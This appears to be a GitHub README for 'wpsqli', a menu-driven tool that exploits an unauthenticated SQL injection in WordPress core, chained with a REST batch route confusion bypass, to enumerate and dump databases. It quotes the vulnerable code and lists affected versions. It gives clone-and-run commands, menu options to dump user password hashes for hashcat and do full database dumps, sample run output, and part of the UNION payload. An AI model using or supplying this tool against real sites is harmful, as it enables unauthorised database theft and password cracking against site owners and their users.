
wpsqli full SQLi extractor + dumper for CVE-2026-60137
A fast, menu-driven database extraction tool exploiting the
author__not_inSQL injection vulnerability in WordPress core. This tool focuses purely on database enumeration and dumping, utilizing the REST batch route confusion (CVE-2026-63030) to reach the SQLi sink unauthenticated.
wpsqli is a pure Python tool designed to exploit a chained vulnerability in WordPress core that allows unauthenticated SQL injection into the database. It bypasses WordPress REST API validation via a batch route confusion bug, delivering a raw string payload directly to the WP_Query SQL sink.
This tool is built for speed and flexibility: it automatically attempts UNION-based in-band extraction (instant), falls back to 8-thread parallel boolean-blind extraction, and finally to sequential time-based extraction if needed.
This tool chains two independent vulnerabilities to achieve unauthenticated database extraction:
author__not_in SQL Injection (CVE-2026-60137)Location: wp-includes/class-wp-query.php, WP_Query::get_posts()
The author__not_in parameter only applies absint() sanitization if the input is an array. If a string is passed, the is_array() guard is skipped, the string passes through implode() unchanged, and is concatenated raw into the SQL $where clause.
// Line 2404: guard only fires for ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Line 2408: string passes straight through
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Line 2409: raw interpolation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
The REST API posts endpoint maps author_exclude to author__not_in but declares it as type => 'array' of integers, so core coerces/rejects a string. Bug B smuggles the string past validation by abusing a desynchronization bug in the REST batch endpoint (/wp-json/batch/v1). By injecting a malformed path primer that wp_parse_url() rejects, a WP_Error is seeded into the batch request list, desyncing $matches from $validation. This allows a following sub-request to be dispatched under the wrong handler without parameter validation.
| Version Range | Status |
|---|---|
| 6.8.0 – 6.8.5 | SQLi bug present, but chain NOT reachable (batch confusion introduced in 6.9.0) |
| 6.9.0 – 6.9.4 | VULNERABLE — full unauth chain |
| 7.0.0 – 7.0.1 | VULNERABLE — full unauth chain |
| 6.8.6 | Patched (SQLi) |
| 6.9.5 | Patched |
| 7.0.2 | Patched |
| 7.1-beta2+ | Patched |
Caveat: The SQLi sink is only reached when a persistent object cache (Redis/Memcached) is NOT in use.
pip install required.wp_posts row to extract entire strings in a single HTTP request (instant).Ctrl+C during extraction stops the current query and returns partial results without crashing the session.ID|user_login|user_pass format with bcrypt hashes ready for hashcat -m 35500.No installation required. Just download and run:
# Clone the repository
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navigate to directory
cd CVE-2026-60137
# Run
python main.py
Requirements:
Launch the interactive menu:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONNECTION
0. Connect / Change target
1. Check target (version + vuln confirm)
------------------------------------------------------------
FINGERPRINTING
2. MySQL version (@@version)
3. Current database name
4. Current DB user
5. WordPress table prefix
6. Dump wp_users (ID, login, pass hash)
7. Custom SQL query
8. Extract all fingerprints (2+3+4+5)
------------------------------------------------------------
ENUMERATION
9. List all databases
10. List all tables (current DB)
11. List columns of a table
------------------------------------------------------------
DUMPING
12. Dump a specific table
13. Dump all tables (current DB)
14. Full dump to file (all tables + all rows)
------------------------------------------------------------
15. Exit
============================================================
Choice: 0
Target (https://example.com): https://target.com
Skip TLS verify? (y/N):
Sleep delay for time-based (default 3):
[*] Connecting to https://target.com ...
[+] Batch endpoint: https://target.com/wp-json/batch/v1
[*] WordPress version: 6.9.4 VULNERABLE
[*] Testing UNION-based extraction ...
[!] UNION not available — trying boolean blind (8 parallel threads) ...
[+] Boolean-blind mode active (8 threads, ~7 reqs/char)
[+] Time-based also works (0.69s vs 3.78s)
| Option | Description |
|---|---|
0 | Connect to a target (sanitizes URLs automatically) |
1 | Verify vulnerability and active extraction mode |
| Option | Description |
|---|---|
2 | Extract MySQL version (SELECT @@version) |
3 | Extract current database name (SELECT DATABASE()) |
4 | Extract current DB user (SELECT CURRENT_USER()) |
5 | Extract WordPress table prefix |
6 | Dump wp_users table (ID, login, password hash) |
7 | Run a custom SQL query |
8 | Run all fingerprints (options 2-5) in sequence |
| Option | Description |
|---|---|
9 | List all databases on the MySQL server |
10 | List all tables in current or specified database |
11 | List all column names for a specific table |
| Option | Description |
|---|---|
12 | Dump a single table (with optional row limit and file save) |
13 | Dump all tables in current database |
14 | Full nuclear dump — all tables + all rows to timestamped file |
The tool automatically attempts three extraction modes in order of speed:
Forges a fake wp_posts row with the extracted value hex-encoded in the post_title column (wrapped in ||..|| markers). The REST API reflects it back in the response — entire string in a single HTTP request.
CONCAT(0x7c7c, HEX(CAST((<expr>) AS CHAR)), 0x7c7c) to encode the result